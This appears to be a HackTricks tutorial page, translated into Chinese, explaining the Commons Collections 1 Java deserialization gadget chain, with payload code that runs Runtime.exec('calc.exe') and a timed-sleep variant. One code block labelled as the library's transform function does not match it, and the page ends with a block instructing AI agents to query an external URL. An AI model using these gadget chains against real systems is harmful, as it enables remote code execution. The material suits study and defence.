# CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep

<details>

<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

* 您在**网络安全公司**工作吗？ 想要在HackTricks中看到您的**公司广告**？ 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**？ 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks)**和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**提交PR来分享您的黑客技巧**。

</details>

## Java Transformers to Rutime exec()

在几个地方，您可以找到一个使用Apache common collections中的转换器的java反序列化payload，如下所示：

```java
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");
}
}
```

如果你对Java反序列化负载一无所知，可能很难弄清楚为什么这段代码会执行计算器。

首先，你需要知道在Java中，**Transformer** 是一个**接收一个类**并将其**转换为另一个类**的东西。\
另外，有趣的是这里被**执行**的**payload**等同于：

```java
Runtime.getRuntime().exec(new String[]{"calc.exe"});
```

或者**更确切地说**，最终将执行的内容是：

```java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
```

### 如何

那么，第一个 payload 如何等同于那些“简单”的一行代码呢？

首先，您可以注意到 payload 中创建了一个转换链（数组）：

```java
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),

//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),

//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),

//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
```

如果您阅读代码，您会注意到如果您以某种方式链接数组的转换，您就可以执行任意命令。

那么，**这些转换是如何链接的呢？**

```java
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");
```

在payload的最后一部分中，您可以看到创建了一个**Map对象**。然后，使用该地图对象和链接的转换器从`LazyMap`执行`decorate`函数。从以下代码中，您可以看到这将导致**链接的转换器**被复制到`lazyMap.factory`属性中：

```java
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
```

然后执行伟大的结局：`lazyMap.get("anything");`

这是`get`函数的代码：

```java
public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
```

以下是`transform`函数的代码

```java
public Object transform(Object value) {
    try {
        Runtime rt = Runtime.getRuntime();
        Process proc = rt.exec((String)value);
        BufferedReader stdInput = new BufferedReader(new 
            InputStreamReader(proc.getInputStream()));
        BufferedReader stdError = new BufferedReader(new 
            InputStreamReader(proc.getErrorStream()));
        String output = "";
        String line;
        while ((line = stdInput.readLine()) != null) {
            output += line + "\n";
        }
        while ((line = stdError.readLine()) != null) {
            output += line + "\n";
        }
        return output;
    } catch (IOException e) {
        e.printStackTrace();
        return null;
    }
}
```

```java
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
```

所以，请记住，在**factory**内部，我们保存了\*\*`chainedTransformer`**，在**`transform`**函数内部，我们正在**遍历所有这些链接的transformers\*\*，并逐个执行。有趣的是，**每个transformer都使用`object`作为输入**，**object是上一个transformer执行的输出**。因此，**所有的转换都被链接执行恶意载荷**。

### 摘要

最后，由于**lazyMap**在**get**方法中管理链接的transformers的方式，就好像我们在执行以下代码一样：

```java
Object value = "someting";

value = new ConstantTransformer(Runtime.class).transform(value); //(1)

value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)

value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)

value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)
```

*注意`value`是每个转换的输入，也是前一个转换的输出，从而实现一行代码的执行：*

```java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
```

注意这里**解释了用于**ComonsCollections1**负载的小工具。但没有解释**所有这些是如何开始执行的\*\*。您可以在[这里看到**ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java)，为了执行这个payload，使用了一个`AnnotationInvocationHandler`对象，因为**当这个对象被反序列化时**，它将**调用**`payload.get()`函数，这将**执行整个payload**。

## Java线程休眠

如果网站易受攻击，这个payload可能会**很有用，因为它将执行一个休眠**。

```java
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");

}
}
```

## 更多小工具

您可以在这里找到更多小工具：<https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html>

##

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>！</strong></summary>

* 您在**网络安全公司**工作吗？ 想要看到您的**公司在HackTricks中被宣传**吗？ 或者您想要访问**PEASS的最新版本或下载HackTricks的PDF**吗？ 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks)**和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**提交PR来分享您的黑客技巧**。

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
